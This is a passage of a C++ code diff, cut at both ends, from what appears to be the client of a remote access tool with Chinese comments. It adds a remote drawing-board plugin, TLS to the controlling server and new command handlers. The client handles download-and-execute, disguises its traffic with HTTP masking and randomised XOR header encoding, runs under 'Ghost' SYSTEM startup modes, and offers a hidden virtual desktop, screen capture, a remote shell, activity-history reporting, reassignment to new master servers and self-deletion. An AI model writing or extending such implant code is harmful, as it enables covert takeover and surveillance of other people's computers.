style &= ~(WS_CAPTION | WS_THICKFRAME); // 去掉标题栏和可调整边框
|
||||
SetWindowLong(m_hWnd, GWL_STYLE, style);
|
||||
|
||||
// 去掉系统菜单
|
||||
SetWindowPos(m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
|
||||
BringWindowToTop(m_hWnd);
|
||||
|
||||
// 透明度
|
||||
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
|
||||
|
||||
ShowWindow(m_hWnd, SW_SHOW);
|
||||
UpdateWindow(m_hWnd);
|
||||
|
||||
MSG msg;
|
||||
while (GetMessage(&msg, NULL, 0, 0) && m_bIsWorking) {
|
||||
TranslateMessage(&msg);
|
||||
DispatchMessage(&msg);
|
||||
Sleep(1);
|
||||
}
|
||||
if (m_hWnd)
|
||||
PostMessage(m_hWnd, WM_CLOSE, 0, 0);
|
||||
m_hWnd = NULL; // 线程退出后,窗口已销毁
|
||||
}
|
||||
|
||||
LRESULT CALLBACK DrawingBoardMgr::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
DrawingBoardMgr* pThis = nullptr;
|
||||
|
||||
if (msg == WM_NCCREATE) {
|
||||
CREATESTRUCT* cs = (CREATESTRUCT*)lParam;
|
||||
pThis = (DrawingBoardMgr*)cs->lpCreateParams;
|
||||
SetWindowLongPtr(hWnd, GWLP_USERDATA, (LONG_PTR)pThis);
|
||||
}
|
||||
else {
|
||||
pThis = (DrawingBoardMgr*)GetWindowLongPtr(hWnd, GWLP_USERDATA);
|
||||
}
|
||||
|
||||
if (pThis) {
|
||||
switch (msg) {
|
||||
case WM_GETICON:
|
||||
return NULL;
|
||||
case WM_WINDOWPOSCHANGED:
|
||||
{
|
||||
WINDOWPOS* pwp = (WINDOWPOS*)lParam;
|
||||
if (pThis->m_bTopMost && !(pwp->flags & SWP_NOZORDER)) {
|
||||
// 如果窗口层级被改变,重新设置为顶层
|
||||
SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0,
|
||||
SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case WM_PAINT:
|
||||
{
|
||||
PAINTSTRUCT ps;
|
||||
HDC hdc = BeginPaint(hWnd, &ps);
|
||||
|
||||
HPEN hOldPen = (HPEN)SelectObject(hdc, pThis->m_DrawPen);
|
||||
HFONT hOldFont = (HFONT)SelectObject(hdc, pThis->m_Font);
|
||||
pThis->m_locker.lock();
|
||||
auto paths = pThis->m_Paths;
|
||||
auto currentPath = pThis->m_CurrentPath;
|
||||
auto texts = pThis->m_Texts;
|
||||
pThis->m_locker.unlock();
|
||||
// 画所有历史路径
|
||||
for (const auto& path : paths)
|
||||
{
|
||||
if (path.size() >= 2)
|
||||
Polyline(hdc, path.data(), (int)path.size());
|
||||
}
|
||||
|
||||
// 画当前路径
|
||||
if (currentPath.size() >= 2)
|
||||
{
|
||||
Polyline(hdc, currentPath.data(), (int)currentPath.size());
|
||||
}
|
||||
|
||||
// 绘制文字
|
||||
SetTextColor(hdc, pThis->m_textColor); // 设置文本颜色
|
||||
SetBkMode(hdc, TRANSPARENT); // 设置透明背景
|
||||
for (const auto& entry : texts)
|
||||
TextOutA(hdc, entry.first.x, entry.first.y, entry.second.c_str(), entry.second.length());
|
||||
|
||||
SelectObject(hdc, hOldPen);
|
||||
SelectObject(hdc, hOldFont);
|
||||
|
||||
EndPaint(hWnd, &ps);
|
||||
return 0;
|
||||
}
|
||||
case WM_DESTROY:
|
||||
PostQuitMessage(0);
|
||||
return 0;
|
||||
case MSG_CLEAR:
|
||||
pThis->m_locker.lock();
|
||||
pThis->m_Paths.clear();
|
||||
pThis->m_CurrentPath.clear();
|
||||
pThis->m_Texts.clear();
|
||||
pThis->m_locker.unlock();
|
||||
InvalidateRect(hWnd, NULL, TRUE);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return DefWindowProc(hWnd, msg, wParam, lParam);
|
||||
}
|
||||
|
||||
VOID DrawingBoardMgr::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (ulLength < 1) return;
|
||||
|
||||
BYTE cmd = szBuffer[0];
|
||||
|
||||
switch (cmd)
|
||||
{
|
||||
case CMD_DRAW_POINT:
|
||||
if (ulLength == sizeof(POINT) + 1)
|
||||
{
|
||||
POINT pt = *(POINT*)(szBuffer + 1);
|
||||
m_locker.lock();
|
||||
m_CurrentPath.push_back(pt);
|
||||
m_locker.unlock();
|
||||
if (m_hWnd)
|
||||
InvalidateRect(m_hWnd, NULL, FALSE);
|
||||
}
|
||||
break;
|
||||
case CMD_DRAW_END:
|
||||
m_locker.lock();
|
||||
if (!m_CurrentPath.empty())
|
||||
{
|
||||
m_Paths.push_back(m_CurrentPath);
|
||||
m_CurrentPath.clear();
|
||||
if (m_hWnd)
|
||||
InvalidateRect(m_hWnd, NULL, FALSE);
|
||||
}
|
||||
m_locker.unlock();
|
||||
break;
|
||||
case CMD_TRANSPORT:
|
||||
m_fAlpha = ulLength > 1 ? szBuffer[1] : m_fAlpha;
|
||||
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
|
||||
break;
|
||||
case CMD_TOPMOST:
|
||||
m_bTopMost = ulLength > 1 ? szBuffer[1] : TRUE;
|
||||
SetWindowPos(m_hWnd, m_bTopMost ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0,
|
||||
SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
|
||||
break;
|
||||
case CMD_MOVEWINDOW:
|
||||
if (ulLength == sizeof(RECT) + 1)
|
||||
{
|
||||
RECT rect = *(RECT*)(szBuffer + 1);
|
||||
if (m_hWnd && IsWindow(m_hWnd))
|
||||
{
|
||||
::SetWindowPos(m_hWnd, HWND_TOP, rect.left, rect.top,
|
||||
rect.right-rect.left, rect.bottom-rect.top,
|
||||
SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
|
||||
}
|
||||
}
|
||||
break;
|
||||
case CMD_SET_SIZE: {
|
||||
if (ulLength == sizeof(int) * 2 + 1) {
|
||||
int x[2];
|
||||
memcpy(x, szBuffer + 1, sizeof(int) * 2);
|
||||
if (IsWindow(m_hWnd)) {
|
||||
::SetWindowPos(m_hWnd, NULL, 0, 0,
|
||||
x[0], x[1], SWP_NOZORDER | SWP_NOMOVE | SWP_NOACTIVATE);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case CMD_DRAW_CLEAR: {
|
||||
PostMessage(m_hWnd, MSG_CLEAR, 0, 0);;
|
||||
break;
|
||||
}
|
||||
case CMD_DRAW_TEXT: {
|
||||
ParseRemoteText(szBuffer + 1, ulLength - 1);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void DrawingBoardMgr::ParseRemoteText(PBYTE data, ULONG length)
|
||||
{
|
||||
if (length < sizeof(POINT)) return;
|
||||
|
||||
// 提取位置
|
||||
POINT pt = *(POINT*)data;
|
||||
PBYTE textData = data + sizeof(POINT);
|
||||
int textLen = (int)(length - sizeof(POINT));
|
||||
|
||||
// UTF-8 → WCHAR
|
||||
int wideLen = MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, NULL, 0);
|
||||
if (wideLen <= 0) return;
|
||||
|
||||
std::wstring wstr(wideLen, 0);
|
||||
MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, &wstr[0], wideLen);
|
||||
|
||||
#ifdef _UNICODE
|
||||
CString cstr(wstr.c_str());
|
||||
#else
|
||||
// 若项目使用多字节字符集
|
||||
int ansiLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||
std::string cstr;
|
||||
if (ansiLen > 0)
|
||||
{
|
||||
std::string ansi(ansiLen - 1, 0);
|
||||
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], ansiLen - 1, NULL, NULL);
|
||||
cstr = ansi.c_str();
|
||||
}
|
||||
#endif
|
||||
|
||||
// 存入本地图形对象并刷新绘图区域
|
||||
m_locker.lock();
|
||||
m_Texts.push_back(std::make_pair(pt, cstr));
|
||||
m_locker.unlock();
|
||||
if (m_hWnd)
|
||||
InvalidateRect(m_hWnd, NULL, FALSE);
|
||||
}
|
||||
|
||||
} // namespace SimplePluginsDrawingBoard
|
||||
@@ -0,0 +1,36 @@
|
||||
#pragma once
|
||||
#include "Manager.h"
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include "common/locker.h"
|
||||
|
||||
namespace SimplePluginsDrawingBoard {
|
||||
|
||||
class DrawingBoardMgr : public CManager
|
||||
{
|
||||
public:
|
||||
DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
~DrawingBoardMgr();
|
||||
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
void ParseRemoteText(PBYTE data, ULONG length);
|
||||
|
||||
private:
|
||||
BYTE m_fAlpha; // 透明度: 0-全透明, 255-不透明
|
||||
BOOL m_bTopMost; // 顶层
|
||||
BOOL m_bIsWorking; // 线程状态
|
||||
HWND m_hWnd; // 窗口
|
||||
std::vector<std::vector<POINT>> m_Paths; // 历史路径集合,每条路径是一组点
|
||||
std::vector<POINT> m_CurrentPath; // 当前正在绘制的路径点集合
|
||||
std::vector<std::pair<POINT, std::string>> m_Texts;
|
||||
HFONT m_Font;
|
||||
COLORREF m_textColor;
|
||||
HPEN m_DrawPen;
|
||||
CLocker m_locker;
|
||||
static DWORD WINAPI DrawingThreadProc(LPVOID lpParam);
|
||||
void RunWindowThread();
|
||||
static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
|
||||
};
|
||||
|
||||
} // namespace SimplePluginsDrawingBoard
|
||||
@@ -36,9 +36,13 @@ CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(p
|
||||
// 初始化V2文件传输模块
|
||||
CKernelManager* main = (CKernelManager*)pClient->GetMain();
|
||||
m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature;
|
||||
if (!m_Signature.empty())
|
||||
if (!m_Signature.empty()) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
int chunkKb, durMs;
|
||||
GetTransferSpeed(cfg, chunkKb, durMs);
|
||||
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
|
||||
main ? main->m_LoginSignature : pClient->m_LoginSignature, 64, 50, Logf);
|
||||
main ? main->m_LoginSignature : pClient->m_LoginSignature, chunkKb, durMs, Logf);
|
||||
}
|
||||
|
||||
// 发送驱动器列表, 开始进行文件管理,建立新线程
|
||||
SendDriveList();
|
||||
|
||||
+35
-1
@@ -227,7 +227,11 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
||||
m_DataProcess = NULL;
|
||||
m_ReconnectFunc = NULL;
|
||||
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
|
||||
#ifdef _DEBUG
|
||||
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % (HeaderEncV6 + 1)));
|
||||
#else
|
||||
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
|
||||
#endif
|
||||
m_EncoderType = encoder;
|
||||
m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
|
||||
#ifdef _WIN32
|
||||
@@ -463,6 +467,25 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
SetKeepAliveOptions(m_sClientSocket);
|
||||
#endif
|
||||
}
|
||||
#ifdef _WIN32
|
||||
// 单向 TLS:证书存在(TlsEnabled())时,在应用协议首包前完成握手;握手失败即断开,
|
||||
// 不回退明文(fail-closed,防降级)。证书存在但加载失败(TlsLoadError())同样拒绝
|
||||
// 连接。握手须在 m_bConnected 置位前,确保工作线程不会在握手尚未完成时就开始 recv。
|
||||
if (TlsLoadError()) {
|
||||
Mprintf("[TLS] 证书加载失败,拒绝连接(fail-closed)\n");
|
||||
closesocket(m_sClientSocket);
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
return FALSE;
|
||||
}
|
||||
if (TlsEnabled()) {
|
||||
if (!m_tls.Handshake(m_sClientSocket)) {
|
||||
Mprintf("[TLS] 握手失败,断开连接(fail-closed)\n");
|
||||
closesocket(m_sClientSocket);
|
||||
m_sClientSocket = INVALID_SOCKET;
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
m_bConnected = TRUE;
|
||||
Mprintf("连接服务端成功: %s:%d.\n", m_sCurIP.c_str(), (int)port);
|
||||
|
||||
@@ -526,6 +549,16 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||
Sleep(50);
|
||||
continue;
|
||||
}
|
||||
#ifdef _WIN32
|
||||
// TLS 会话里可能有已解密、尚未交付的明文(select 只看底层 socket,看不到
|
||||
// Schannel 内部缓冲),优先消费,避免被 select 卡住。
|
||||
if (This->HasPendingData()) {
|
||||
if (!This->ProcessRecvData(&m_CompressedBuffer, szBuffer, MAX_RECV_BUFFER - 1, 0)) {
|
||||
break;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
#endif
|
||||
FD_ZERO(&fd);
|
||||
FD_SET(This->m_sClientSocket, &fd);
|
||||
// Linux select() 会修改 timeval,必须每次重置
|
||||
@@ -632,7 +665,8 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
||||
for (int i = 0; i < 16 && i < (int)bufLen; ++i) {
|
||||
char tmp[12]; sprintf(tmp, "%02X ", (unsigned char)src[i]); buf += tmp;
|
||||
}
|
||||
Mprintf("[ERROR] Unknown header! bufLen=%lu, first 16 bytes: %s\n", bufLen, buf.c_str());
|
||||
Mprintf("[ERROR] Unknown header! this=%p bufLen=%lu, first 16 bytes: %s (TlsEnabled=%d tlsReady=%d)\n",
|
||||
this, bufLen, buf.c_str(), (int)TlsEnabled(), (int)m_tls.IsReady());
|
||||
m_CompressedBuffer->ClearBuffer();
|
||||
break;
|
||||
}
|
||||
|
||||
+24
-1
@@ -8,6 +8,7 @@
|
||||
#include "stdafx.h"
|
||||
#include <WinSock2.h>
|
||||
#include <MSTcpIP.h>
|
||||
#include "TlsChannel.h"
|
||||
#pragma comment(lib,"ws2_32.lib")
|
||||
#endif
|
||||
|
||||
@@ -289,14 +290,33 @@ public:
|
||||
protected:
|
||||
virtual int ReceiveData(char* buffer, int bufSize, int flags)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
if (TlsEnabled())
|
||||
return m_tls.Recv(m_sClientSocket, buffer, bufSize - 1);
|
||||
#endif
|
||||
// TCP版本调用 recv
|
||||
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
|
||||
int n = recv(m_sClientSocket, buffer, bufSize - 1, 0);
|
||||
return n;
|
||||
}
|
||||
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
|
||||
virtual int SendTo(const char* buf, int len, int flags)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
if (TlsEnabled())
|
||||
return m_tls.Send(m_sClientSocket, buf, len);
|
||||
#endif
|
||||
return ::send(m_sClientSocket, buf, len, flags);
|
||||
}
|
||||
// TLS 会话里可能有已解密但尚未交付的明文(select 只能看到底层 socket 可读性,
|
||||
// 看不到 Schannel 内部缓冲),接收线程在 select 前须优先消费,避免其被卡住。
|
||||
bool HasPendingData() const
|
||||
{
|
||||
#ifdef _WIN32
|
||||
return m_tls.HasPending();
|
||||
#else
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask);
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength);
|
||||
@@ -305,6 +325,9 @@ protected:
|
||||
protected:
|
||||
sockaddr_in m_ServerAddr;
|
||||
SOCKET m_sClientSocket;
|
||||
#ifdef _WIN32
|
||||
TlsChannel m_tls; // TLS 会话(证书存在时才启用,见 TlsChannel.h)
|
||||
#endif
|
||||
BOOL m_bWorkThread;
|
||||
HANDLE m_hWorkThread;
|
||||
BOOL m_bIsRunning;
|
||||
|
||||
+202
-2
@@ -10,6 +10,7 @@
|
||||
#include <fstream>
|
||||
#include <corecrt_io.h>
|
||||
#include "ClientDll.h"
|
||||
#include "ActivityHistory.h"
|
||||
#include "MemoryModule.h"
|
||||
#include "common/dllRunner.h"
|
||||
#include "server/2015Remote/pwd_gen.h"
|
||||
@@ -23,6 +24,7 @@
|
||||
#include "common/DateVerify.h"
|
||||
#include "common/LANChecker.h"
|
||||
#include "common/scheduler.h"
|
||||
#include "session.h"
|
||||
extern "C" {
|
||||
#include "ServiceWrapper.h"
|
||||
}
|
||||
@@ -795,6 +797,9 @@ void ResponseDisable(IOCPClient *client, const char* type, LPBYTE data, int size
|
||||
client->Send2Server((char*)&msg, sizeof(msg));
|
||||
}
|
||||
|
||||
|
||||
extern "C" bool IsSystemInSession0();
|
||||
|
||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||
@@ -807,12 +812,54 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
std::string publicIP = m_ClientObject->GetClientIP();
|
||||
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_FORBIDDEN: {
|
||||
TerminateProcess(GetCurrentProcess(), 0);
|
||||
break;
|
||||
}
|
||||
case COMMAND_QUERY_LOG: {
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth();
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||
break;
|
||||
}
|
||||
case COMMAND_QUERY_ACTIVITY: {
|
||||
// 主连接一次性快照:直接 dump 历史活动并回传
|
||||
std::string text = ActivityHistory::Instance().Dump();
|
||||
std::vector<BYTE> pkt(1 + text.size());
|
||||
pkt[0] = TOKEN_REPORT_ACTIVITY;
|
||||
if (!text.empty())
|
||||
memcpy(pkt.data() + 1, text.data(), text.size());
|
||||
m_ClientObject->Send2Server((char*)pkt.data(), (ULONG)pkt.size());
|
||||
break;
|
||||
}
|
||||
case CMD_SET_GROUP: {
|
||||
std::string group = std::string((char*)szBuffer + 1);
|
||||
m_cfg->SetStr("settings", "group_name", group);
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_TLS_ENABLE: {
|
||||
// 服务端下发信任锚证书:payload = PEM 正文(szBuffer+1 .. ulLength-1)。
|
||||
// 写入注册表 settings\tls_cert,客户端下次启动读到证书即启用 TLS(非实时)。
|
||||
if (ulLength > 1) {
|
||||
std::string certPem((char*)szBuffer + 1, ulLength - 1);
|
||||
m_cfg->SetStr("settings", "tls_cert", certPem);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case COMMAND_TLS_DISABLE: {
|
||||
// 删除注册表信任锚,客户端下次启动无证书即回明文(非实时)。
|
||||
std::string subKey = GetRegistryName() + "\\settings";
|
||||
HKEY hKey = NULL;
|
||||
if (RegOpenKeyExA(GetCurrentUserRegistryKey(), subKey.c_str(), 0,
|
||||
KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
|
||||
RegDeleteValueA(hKey, "tls_cert");
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_DOWN_EXEC: {
|
||||
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
|
||||
break;
|
||||
@@ -952,6 +999,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
if (!ENABLE_SCREEN) {
|
||||
return ResponseDisable(m_ClientObject, "PRIVATE_SCREEN", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
if ((m_conn->iStartup == Startup_GhostSystem || m_conn->iStartup == Startup_TestRunSystem) && IsSystemInSession0()) {
|
||||
Mprintf("当前进程以 SYSTEM 身份运行, 需要在用户会话启动进程处理 UI 相关功能.\n");
|
||||
return RunRoundRobinAgent(TOKEN_PRIVATESCREEN);
|
||||
}
|
||||
char h[100] = {};
|
||||
memcpy(h, szBuffer + 1, min(ulLength - 1, 80));
|
||||
std::string hash = std::string(h, h + 64);
|
||||
@@ -989,6 +1040,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case COMMAND_SHARE:
|
||||
case COMMAND_ASSIGN_MASTER:
|
||||
if (ulLength > 2) {
|
||||
// 解析末尾协议段(Shine=0 / HELL=1,旧命令无此段则 -1 沿用烘焙值)
|
||||
int shareProto = -1;
|
||||
{
|
||||
auto pv = StringToVector((char*)szBuffer + 2, ':', 5);
|
||||
if (szBuffer[1] == SHARE_TYPE_YAMA && pv.size() >= 3 && (pv[2] == "0" || pv[2] == "1"))
|
||||
shareProto = atoi(pv[2].c_str());
|
||||
else if (szBuffer[1] == SHARE_TYPE_YAMA_FOREVER && pv.size() >= 4 && (pv[3] == "0" || pv[3] == "1"))
|
||||
shareProto = atoi(pv[3].c_str());
|
||||
}
|
||||
switch (szBuffer[1]) {
|
||||
case SHARE_TYPE_YAMA_FOREVER: {
|
||||
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
|
||||
@@ -999,6 +1059,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
if (now <= valid_to) break; // Avoid assign again
|
||||
m_cfg->SetStr("settings", "master", v[0]);
|
||||
m_cfg->SetStr("settings", "port", v[1]);
|
||||
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
|
||||
m_cfg->SetStr("settings", "master_proto", std::to_string(shareProto));
|
||||
float days = atof(v[2].c_str());
|
||||
if (days > 0) {
|
||||
auto valid_to = time(0) + days*86400;
|
||||
@@ -1017,6 +1079,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
if (v[0].empty() || v[1].empty())
|
||||
break;
|
||||
auto share = v[0] + ":" + v[1];
|
||||
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
|
||||
share += ":" + std::to_string(shareProto);
|
||||
auto list = m_cfg->GetStr("settings", "share_list");
|
||||
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
|
||||
if (VectorContains(shareList, share)) break;
|
||||
@@ -1024,7 +1088,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
|
||||
Mprintf("Share client to new master: %s\n", share.c_str());
|
||||
}
|
||||
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
|
||||
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE, shareProto);
|
||||
if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||
break;
|
||||
}
|
||||
@@ -1070,6 +1134,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
mgr->EnableOfflineRecord(TRUE);
|
||||
}
|
||||
Logger::getInstance().usingLog(m_settings.EnableLog);
|
||||
// 主控端经 MasterSettings 下发文件传输速度(TransferChunkKb 非 0 表示已下发,
|
||||
// 0 表示老主控未携带,保留本地默认值)。写入 [transfer] 节,供各 InitFileUpload
|
||||
// 调用点经 GetTransferSpeed 读取。
|
||||
if (m_settings.TransferChunkKb) {
|
||||
m_cfg->SetInt("transfer", "ChunkKb", m_settings.TransferChunkKb);
|
||||
m_cfg->SetInt("transfer", "DurationMs", m_settings.TransferDurationMs);
|
||||
}
|
||||
}
|
||||
if (IsAuthKernel() &&
|
||||
(m_settings.FeedbackUrl[0] || m_settings.HelpUrl[0] || m_settings.RequestAuthUrl[0] || m_settings.GetPluginUrl[0])) {
|
||||
@@ -1110,6 +1181,60 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_CHAT: { // 远程交谈(双向聊天)
|
||||
if (!ENABLE_MESSAGE) {
|
||||
return ResponseDisable(m_ClientObject, "CHAT", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount].user = m_hInstance;
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopChatManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_MACHINE_MANAGE: { // 主机管理
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopMachineManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_FILE_MANAGER_PLUGIN: { // 插件文件管理(SimplePlugins 迁移)
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManagerPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_PRIVATE_SCREEN_PLUGIN: { // 隐私屏幕(虚拟桌面,SimplePlugins 迁移)
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopPrivateScreenPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_DRAWING_BOARD_PLUGIN: { // 远程画板(SimplePlugins 迁移)
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopDrawingBoardPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SHELL: {
|
||||
if (!ENABLE_SHELL) {
|
||||
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
|
||||
@@ -1159,6 +1284,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
BYTE bToken = COMMAND_BYE;// 被控端退出
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
if (m_conn->iStartup == Startup_TestRunMsc || m_conn->iStartup == Startup_GhostMsc || IsSystemInSession0()) {
|
||||
ServiceWrapper_Uninstall();
|
||||
}
|
||||
self_del(10);
|
||||
Mprintf("======> Client uninstall \n");
|
||||
break;
|
||||
@@ -1212,6 +1340,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
if (!ENABLE_SCREEN) {
|
||||
return ResponseDisable(m_ClientObject, "SCREEN", szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
if ((m_conn->iStartup == Startup_GhostSystem || m_conn->iStartup == Startup_TestRunSystem) && IsSystemInSession0()) {
|
||||
Mprintf("当前进程以 SYSTEM 身份运行, 需要在用户会话启动进程处理 UI 相关功能.\n");
|
||||
return RunRoundRobinAgent(COMMAND_SCREEN_SPY);
|
||||
}
|
||||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
||||
if (ulLength > 1) {
|
||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||
@@ -1227,6 +1359,18 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case CMD_FILE_SPEED: {
|
||||
// 主控端下发文件传输速度档位:[cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]。
|
||||
// 写入 [transfer] 节,供各 InitFileUpload 调用点经 GetTransferSpeed 读取。
|
||||
if (ulLength >= 5) {
|
||||
int chunkKb = szBuffer[1] | (szBuffer[2] << 8);
|
||||
int durMs = szBuffer[3] | (szBuffer[4] << 8);
|
||||
